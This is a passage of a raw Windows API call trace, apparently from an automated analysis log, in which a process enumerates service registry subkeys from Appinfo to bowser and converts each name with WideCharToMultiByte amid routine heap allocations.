Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.552] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.552] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.552] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.552] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0250.552] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.552] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0250.552] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.552] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.552] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.553] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.553] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0250.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0250.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.553] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.553] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.553] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.553] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0250.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0250.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.553] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.553] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.553] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.553] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0250.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0250.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.553] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.553] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.553] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.553] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0250.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.553] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0250.554] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.554] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0250.554] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0250.554] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1b68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0250.554] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.554] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0250.554] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0250.554] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f18e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0250.554] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.554] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0250.554] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.554] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.554] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0250.554] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.554] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.554] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0250.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0250.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.555] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0250.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0250.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1b68, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0250.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.555] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0250.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0250.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.555] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.555] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0250.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0250.555] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.556] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.556] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.556] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.556] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0250.556] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.556] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0250.556] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.556] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.556] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.556] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.556] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0250.556] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.556] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0250.556] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.556] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.556] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.556] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.556] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0250.556] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.556] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0250.556] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.556] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.556] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.556] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.556] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0250.556] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.557] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0250.557] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.557] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0250.557] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.557] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0250.557] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.557] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0250.557] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.557] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0250.557] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.557] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0250.557] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.557] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0250.557] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.557] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.558] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.558] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0250.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0250.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.558] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.558] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.558] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.558] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0250.558] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 